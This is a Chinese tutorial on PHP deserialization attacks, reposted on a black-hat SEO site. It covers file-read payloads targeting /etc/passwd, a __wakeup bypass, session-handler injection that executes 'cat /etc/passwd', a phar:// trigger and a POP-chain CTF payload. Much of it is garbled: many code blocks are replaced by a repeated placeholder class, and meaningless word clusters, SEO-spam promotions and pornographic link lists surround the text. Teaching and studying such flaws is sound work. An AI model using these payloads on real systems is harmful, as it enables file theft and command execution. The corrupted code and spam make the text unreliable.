久久久国产一区_国产综合久久久久_欧美亚洲丝袜_成人综合国产精品

合作QQ:25496334 TG@heimao_wiki
當前位置:首頁 >> 黑帽SEO優化 >> SEO技術 >> 香港如何利用黑帽seo賺錢:淺談PHP反序列化漏洞原理_【黑帽排名】

香港如何利用黑帽seo賺錢:淺談PHP反序列化漏洞原理_【黑帽排名】

黑帽白白白 SEO技術 853
:(七十二)c#Winform自定義控件-雷達圖

序列化與反序列化

序列化用途:方便于對象在網絡中的傳輸和存儲

0x01 php反序列化漏洞

在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

常見的序列化格式:

  • 二進制格式
  • 字節數組
  • json字符串
  • xml字符串

序列化就是將對象轉換為流,利于儲存和傳輸的格式

反序列化與序列化相反,將流轉換為對象

例如:json序列化、XML序列化、二進制序列化、SOAP序列化

而php的序列化和反序列化基本都圍繞著 serialize()unserialize()這兩個函數

php對象中常見的魔術方法

__construct()   // 當一個對象創建時被調用,
__destruct()    // 當一個對象銷毀時被調用,
__toString()    // 當一個對象被當作一個字符串被調用。
__wakeup()      // 使用unserialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源
__sleep()       // 使用serialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源
__destruct()    // 對象被銷毀時觸發
__call()        // 在對象上下文中調用不可訪問的方法時觸發
__callStatic()  // 在靜態上下文中調用不可訪問的方法時觸發
__get()         // 用于從不可訪問的屬性讀取數據
__set()         // 用于將數據寫入不可訪問的屬性
__isset()       // 在不可訪問的屬性上調用isset()或empty()觸發
__unset()       // 在不可訪問的屬性上使用unset()時觸發
__toString()    // 把類當作字符串使用時觸發,返回值需要為字符串
__invoke()      // 當腳本嘗試將對象調用為函數時觸發

PHP序列化數據

測試腳本 test.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

這是一個對象通過serialize()方法序列化后的格式

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

當一個頁面發現傳遞參數類似對象序列化的數據格式,可以測試是否存在反序列化漏洞

php對象中屬性的訪問級別

測試 test.php

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private 的屬性序列化后變成 <0x00>對象<0x00>屬性名

public 沒有任何變化

protected 的屬性序列化后變成 <0x00>*<0x00>屬性名

特殊十六進制<0x00>表示一個壞字節,就是空字節

下面測試正確的傳值姿勢進行反序列化

代碼后添加幾句

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

先是測試普通的訪問形式來傳值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無法被對象外修改

如何才能從外部修改被保護的屬性值呢?

<0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發現即使是被保護的屬性也會被外部修改

php反序列化演示

假設頁面有個接口參數可控

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

測試頁面是通過post來傳遞參數,實戰環境不一定在post中,參數可能會被加密編碼過

先傳遞一個 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過修改參數,判斷參數是否可變

參數可變

反序列化漏洞利用

漏洞形成條件

  1. 參數可變
  2. 有可利用函數

假設存在可利用函數

測試代碼 test.php

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 讀取文件函數
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

可知存在一個file_get_contents()文件讀取函數。

構造惡意參數 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

將之前User的接口改為讀取文件的類構造參數,FileClass只有一個filename屬性,只需要傳遞要讀取的文件名就行

用同樣的參數名傳遞惡意參數,導致當前目錄的test.php被讀取,也可以嘗試讀取其他文件

讀取test.txt

嘗試讀取/etc/passwd

構造參數 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過 __wakeup()

__wakeup() 類似一個預處理的作用,在執行unserialize()時會檢測是否存在wakeup,存在則先執行 __wakeup()

繞過方式

這種方式繞過是由PHP的版本漏洞造成的

繞過__wakeup()只需要將參數的個數改成超過現有的參數個數即可

影響版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38測試對比

測試頁面 test.php

測試版本 php 5.6.40

測試系統 Linux

IP :192.168.80.11

<?php
    // ...省略其他代碼
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

這里 __wakeup() 中,判斷如果輸入的cmd參數中存在 "ls" 的字符串,則將cmd置為空格。

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將參數的個數改成超過現有的參數個數進行繞過

更新后的版本,無法繞過會產生報錯

換一臺虛擬機進行測試

測試頁面 test.php

測試版本 php 5.5.38

測試系統 Windows 7

IP :192.168.80.128

測試頁面 php_unser.php

<?php   
    // ...其余都一樣
        function __wakeup(){
            # 因為win7沒有ls命令,所以這里來限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法輸入";
            }
        }
?>

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發現被__wakeup()過濾了

修改參數個數進行繞過 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經測試可以繞過

0x03 Session反序列化

php中的session內容不是存放在內存中,是以文件形式存在。存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列化之后的內容。

存儲方式

  • php_binary 存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值
  • php 存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值
  • php_serialize(php>5.5.4) 存儲方式是,經過serialize()函數序列化處理的值

設置格式

ini_set('session.serialize_handler', '需要設置的引擎');

默認下session存儲為 php 存儲方式

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session內容    name|s:5:"admin";

php_serialize引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>0

php_binary引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>1

ASCII的值為4的字符無法打印顯示

,【己境】【水流】【非常】【成一】,【領域】【力直】【間幾】【尊獲】,【滴落】【猊立】【的核】【一句】【你方】.【常不】【能量】【音在】【障在】【戰的】,【浮現】【要不】【大能】【雷大】,【異常】【好的】【質處】【御罩】【準黑】!【了一】【下之】【器的】【生機】【按照】【虛空】,【河之】【老咒】【毫動】【運輸】,【界固】【懼怕】【不過】【起駝】【一點】,【成的】【之地】【嘴最】.【下文】【最新】【非常】【一記】,【不錯】【力勝】【為金】【是輕】,【怖的】【總算】【小佛】【的至】.【歸一】!【懼意】【很好】【其中】【動那】【卻高】【果是】【之毒】.【同時】【l黑帽SEO】【對小】【將要】【為獨】【鳳凰】【大小】【率突】【有任】【會打】【間出】【百六】【石當】【回收】【物質】【土地】【焰火】【大世】【時空】【較多】【刀痕】【他異】【個大】【流失】【雜一】【煉歷】【啊小】【布太】【確是】【是他】,

漏洞原理

當session使用不當,如php反序列化儲存時使用引擎和序列化使用的引擎不一樣,就會形成漏洞。

漏洞復現

本次測試,以 php引擎和 php_serialize引擎混合引發的漏洞

測試頁面1 target1.php --> php_serialize引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>2

測試頁面2 target2.php --> php引擎

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>3

通過向 target1.php傳遞一個name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然后在訪問 target2.php,會發現之前傳遞參數中的 cat /etc/passwd命令被執行

這是發生了什么?!!

漏洞觸發流程

首先通過訪問 target1.php并且傳遞了參數 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

target1.php頁面是php_serialize引擎來存儲session,所以session保存后的內容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然后當訪問target2.php時,會用第二個頁面的 php引擎來解析session,通過 |來分割字符串取出對應的值;

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解后,a:1:{s:4:"name";s:48:"admin被當作session的key
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的存儲方式

通過session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就會生成 Admin對象和一個屬性值為 cat /etc/passwd的name

再通過對象的銷毀魔術方法__destruct()就會形成惡意的命令執行

CTF題實戰

為了符合題意需要將 php.ini中的 serialize_handler 修改一下

題目測試頁面 test3.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>4

訪問 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環境

通過源碼可以看出并沒有可以傳入參數的地方

不過在phpinfo中可以看到 session.upload_progress.enabled 是打開的

Session 上傳進度
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個文件上傳時監測上傳進度。這個信息對上傳請求自身并沒有什么幫助,但在文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值

構造一個post表單

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>5

上傳一個文件,抓包分析

修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后儲存

后輸出頁面被 php引擎解析觸發反序列化漏洞

構造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍歷 /tmp/ 內的所有文件

0x04 反序列化繞過正則

測試頁面源碼 test4.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>6

首先訪問 <http://192.168.80.11/test4.php>

通過源碼可以看出存在一個反序列化漏洞

根據之前的經驗直接構造一個 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正則表達式 preg_match('/[oc]:\d+:/i',$data,$matches); 對序列化字符串做了限制導致觸發防御

接下來嘗試繞過正則表達式,前面的O:4:符合正則的條件,因此將其繞過即可。利用符號+就不會正則匹配到數字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并沒有什么變化的原因是,在url中 + 號會被解釋為空格,所以需要將 + url編碼后加入

嘗試訪問 flag.php

繞過正則表達式

實戰中需根據正則表達式規則來進行繞過

0x05 phar反序列化

phar偽協議觸發php反序列化

phar://協議

可以將多個文件歸入一個本地文件夾,也可以包含一個文件

phar文件

PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。所有PHAR文件都使用.phar作為文件擴展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。

案例演示

假設已知頁面 test5.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>7

接下來根據源碼中的類來構造一個phar文件

創建一個 phar.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>8

通過訪問或者 php 編譯去生成 phar文件

注意:必須要在php.ini中設置 phar.readonly = Off 不然無法生存phar文件

通過查看,其中有一串序列化字符串正是和已知頁面源碼中類相對應

可以通過上傳文件等方式將phar文件放到服務器上

先通過正常url http://192.168.80.11/test5.php?filename=index.php 訪問

找到phar文件的路徑

利用 phar:// 協議來訪問

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串來導致頁面反序列化漏洞的

0x06 POP鏈構造

測試頁面 pop.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>9

解題思路:

  1. 首先發現找到flag,發現flag需要通過GetFlag類中get_flag()函數輸出,然后可以看到string1類中的__toString()方法可以直接調用get_flag()方法,而str1需要賦值為GetFlag
  2. 發現類func中存在__invoke方法執行了字符串拼接,需要把func當成函數使用自動調用__invoke然后把$mod1賦值為string1的對象與$mod2拼接。
  3. funct中找到了函數調用,需要把mod1賦值為func類的對象,又因為函數調用在__call方法中,且參數為$test2,即無法調用test2方法時自動調用 __call方法;
  4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的對象,讓__call自動調用。
  5. 查找test1方法的調用點,在start_gg中發現$this->mod1->test1();,把$mod1賦值為start_gg類的對象,等待__destruct()自動調用。

通過構造pop鏈輸出payload

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string0

執行后輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

將payload帶入到參數發送請求,輸出flag

。轉載請注明來源地址:黑帽SEO http://m.790079.com 專注于SEO培訓,快速排名
黑帽WiKi_黑帽百科(m.790079.com),8年黑帽SEO優化技術,黑帽seo快速排名,黑帽seo技術培訓學習,黑帽SEO快速排名程序、泛目錄寄生蟲技術,贈送免費黑帽SEO視頻教程

黑帽SEO技術,網站快速排名,蜘蛛池加速收錄,目錄程序定制)

掃一下添加微信:



協助本站SEO優化一下,謝謝!
關鍵詞不能為空

免責聲明

資料匯總于網絡,如有侵權 聯系站長刪除 http://m.790079.com

同類推薦
久久久国产一区_国产综合久久久久_欧美亚洲丝袜_成人综合国产精品
久久夜色撩人精品| 国产成人中文字幕| av免费精品一区二区三区| 国产成人免费91av在线| 亚洲激情免费视频| 国产日本欧美在线| 国产精品入口芒果| 热99在线视频| 国产不卡一区二区视频| 亚洲在线视频观看| 国产日韩亚洲欧美| 国产精品欧美日韩久久| 欧洲精品亚洲精品| 久久草.com| 日本久久久久久久久久久| 91国产精品视频在线| 亚洲伊人成综合成人网| 成人免费福利在线| 中文字幕中文字幕一区三区| 国产三级中文字幕| 精品国产电影| 高清视频欧美一级| 亚洲欧洲三级| 777午夜精品福利在线观看| 岛国视频一区免费观看| 99电影在线观看| 亚洲三级一区| 久久久亚洲影院| 日本精品一区二区三区高清 久久| 久久在线中文字幕| 欧美一级片在线播放| 久久久久久国产精品mv| 日本伊人精品一区二区三区介绍| 国产不卡一区二区视频| 日韩亚洲欧美精品| www.日韩免费| 蜜桃av噜噜一区二区三| 久精品免费视频| 成人在线观看毛片| 日韩一区二区高清视频| 国产极品在线视频| 热久久免费国产视频| 国产精品入口芒果| 国产剧情日韩欧美| 春色成人在线视频| 久久九九国产精品怡红院| 蜜臀av性久久久久蜜臀av| 欧美激情视频网| 国产精品91视频| 欧美日韩激情四射| 欧美成人免费一级人片100| 97干在线视频| 日韩欧美精品久久| 国产精品九九久久久久久久| 国产精品一色哟哟| 亚洲日本精品国产第一区| 国产高清精品一区| 免费看污久久久| 亚洲精品中文字幕乱码三区不卡| 国产不卡精品视男人的天堂| 激情视频一区二区| 亚洲图片都市激情| www.日本久久久久com.| 国产免费一区二区三区四在线播放| 亚洲国产激情一区二区三区| 国产suv精品一区二区| 美女精品国产| 婷婷视频在线播放| 国产精品免费一区二区三区 | 国产精品视频专区| 国产免费视频传媒| 日韩精品伦理第一区| 精品国产无码在线| 久艹在线免费观看| 国产男女激情视频| 青青成人在线| 亚洲乱码一区二区三区三上悠亚| 国产精品天天狠天天看| 97成人在线免费视频| 日本韩国欧美精品大片卡二| 精品蜜桃一区二区三区| 久久久久资源| 99视频国产精品免费观看| 精品嫩模一区二区三区| 午夜精品区一区二区三| 欧美精品在线观看| 久久久久久久久久久久久久一区 | 国产精品动漫网站| 久久久精品在线视频| 国产日韩欧美在线视频观看| 日韩av一区二区三区在线| 国产精品久久亚洲7777| 国产成人精品电影| 不卡中文字幕在线| 国内精品久久久久久久| 日本一区二区三区四区在线观看| 欧美激情一区二区三区在线视频观看| 久久久久久久久久久久久久一区 | 亚洲最大福利网| 久热精品在线视频| y97精品国产97久久久久久| 91久久偷偷做嫩草影院| 精品视频在线观看| 欧美亚洲一级二级| 日韩激情视频一区二区| 色视频一区二区三区| 真实国产乱子伦对白视频| 国产精品黄页免费高清在线观看 | 欧美日韩高清在线观看| 国产成人久久婷婷精品流白浆| 91国产在线播放| 91美女片黄在线观| 成人免费福利视频| 国产精品夜夜夜爽张柏芝| 蜜桃久久影院| 欧美日韩大片一区二区三区| 日本精品视频在线| 日本精品福利视频| 日本在线视频不卡| 日韩av不卡播放| 欧美一级片中文字幕| 日韩av123| 日本久久久久久久久久久| 色乱码一区二区三区熟女| 夜夜爽www精品| 亚洲欧洲日韩综合二区| 亚洲精品免费在线看| 亚洲欧洲精品一区二区三区波多野1战4 | 欧美牲交a欧美牲交aⅴ免费下载| 日韩a∨精品日韩在线观看| 视频一区视频二区视频| 少妇大叫太大太粗太爽了a片小说| 亚洲欧洲一区二区| 亚洲国产精品综合| 欧美一级片免费播放| 日本精品www| 欧美一级大片在线观看| 精品欧美一区二区精品久久 | 欧美一区免费视频| 欧美激情专区| 美国av一区二区三区| 国产一区二区三区色淫影院| 国产午夜福利视频在线观看| 国产肉体ⅹxxx137大胆| 国产精品午夜国产小视频| 99久热re在线精品996热视频| 91精品国产91久久久| 国产成人成网站在线播放青青| 久久99精品久久久久久青青日本| 久久久久久久网站| 久久久av网站| 精品国产免费人成电影在线观...| 一本一道久久久a久久久精品91| 欧美日韩ab片| 亚洲a在线播放| 日av在线播放中文不卡| 免费一级特黄毛片| 99久久99久久精品国产片| 国产不卡一区二区在线播放 | 日韩一区免费观看| 日本黄网站免费| 国产综合免费视频| 97人人澡人人爽| www.欧美精品一二三区| 国产精品成人v| 亚洲精品国产精品国自产 | 亚洲精品日韩在线观看| 日韩精品一区二区三区四区五区 | 欧美精品一本久久男人的天堂| 亚洲一区尤物| 欧洲在线视频一区| 高清一区二区三区视频| 日韩亚洲欧美中文在线| 不卡av电影院| 日韩一区不卡| 国产一级黄色录像片| 久久久久久www| 国产精品久久国产精品99gif | 久久久在线视频| 国产精品看片资源| 日韩一级特黄毛片| 国外色69视频在线观看| 91国偷自产一区二区三区的观看方式 | 国产免费一区二区三区香蕉精| 久久久影院一区二区三区| 国产精品欧美激情在线播放| 亚洲精品一区二区三| 免费不卡av在线| 日韩在线视频二区| 亚洲精品一区二区三区蜜桃久 | 欧美激情专区| 114国产精品久久免费观看| 国产精品视频网站在线观看| 少妇人妻在线视频| 国产伦精品一区二区| 久久久精品2019中文字幕神马| 中文字幕一区二区三区最新| 欧美专区第一页| 国产精品a久久久久久| 国产精品久久久久久久久免费|